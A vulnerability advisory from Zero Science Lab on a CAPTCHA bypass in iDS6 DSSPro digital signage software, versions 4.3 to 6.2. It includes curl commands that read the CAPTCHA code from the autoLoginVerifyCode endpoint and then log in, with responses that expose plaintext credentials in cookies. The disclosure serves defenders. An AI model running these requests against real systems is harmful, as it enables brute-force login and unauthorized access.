iDS6 DSSPro Digital Signage System 6.2 CAPTCHA Security Bypass

`  
iDS6 DSSPro Digital Signage System 6.2 CAPTCHA Security Bypass  
  
  
Vendor: Guangzhou Yeroo Tech Co., Ltd.  
Product web page: http://www.yerootech.com  
Affected version: V6.2 B2014.12.12.1220  
V5.6 B2017.07.12.1757  
V4.3  
  
Summary: iDS6 Software's DSSPro network digital signage management  
system is a web-based server software solution for Windows.  
  
Desc: The CAPTCHA function for DSSPro is prone to a security bypass  
vulnerability that occurs in the CAPTCHA authentication routine. By  
requesting the autoLoginVerifyCode object an attacker can receive a  
JSON message code and successfully bypass the CAPTCHA-based authentication  
challenge and perform brute-force attacks.  
  
Tested on: Microsoft Windows XP  
Microsoft Windows 7  
Microsfot Windows Server 2008  
Microsoft Windows Server 2012  
Microsoft Windows 10  
Apache Tomcat/8.0.44  
Apache Tomcat/6.0.35  
Apache-Coyote/1.1  
Apache Axis/1.4  
MySQL 5.5.25  
Java 1.8.0  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2020-5607  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5607.php  
  
  
16.07.2020  
  
--  
  
  
Get CAPTCHA code:  
-----------------  
  
$ curl -i http://192.168.1.88/Pages/login\!autoLoginVerifyCode -c cookies.txt  
  
{"success":true,"message":"6435","data":"6435"}  
  
  
Use CAPTCHA code:  
-----------------  
  
$ curl -i http://192.168.1.88/Pages/login\!userValidate -b cookies.txt -d "shortName=&user.userName=boss&user.password=boss&loginVerifyCode=6435&autoSave=true&autoLogin=true&domain_login=" -v  
  
HTTP/1.1 200 OK  
Server: Apache-Coyote/1.1  
Set-Cookie: cookie.username=boss; Expires=Wed, 21-Jul-2021 19:41:26 GMT  
Set-Cookie: cookie.password=boss; Expires=Wed, 01-Jul-2021 19:41:26 GMT  
Set-Cookie: cookie.autosave=true; Expires=Wed, 01-Jul-2021 19:41:26 GMT  
Set-Cookie: cookie.autologin=true; Expires=Wed, 01-Jul-2021 19:41:26 GMT  
Cache-Control: no-cache  
Pragma: no-cache  
Content-Type: application/x-json;charset=UTF-8  
Date: Tue, 21 Jul 2020 19:41:26 GMT  
Connection: close  
Content-Length: 16  
  
{"success":true}  
`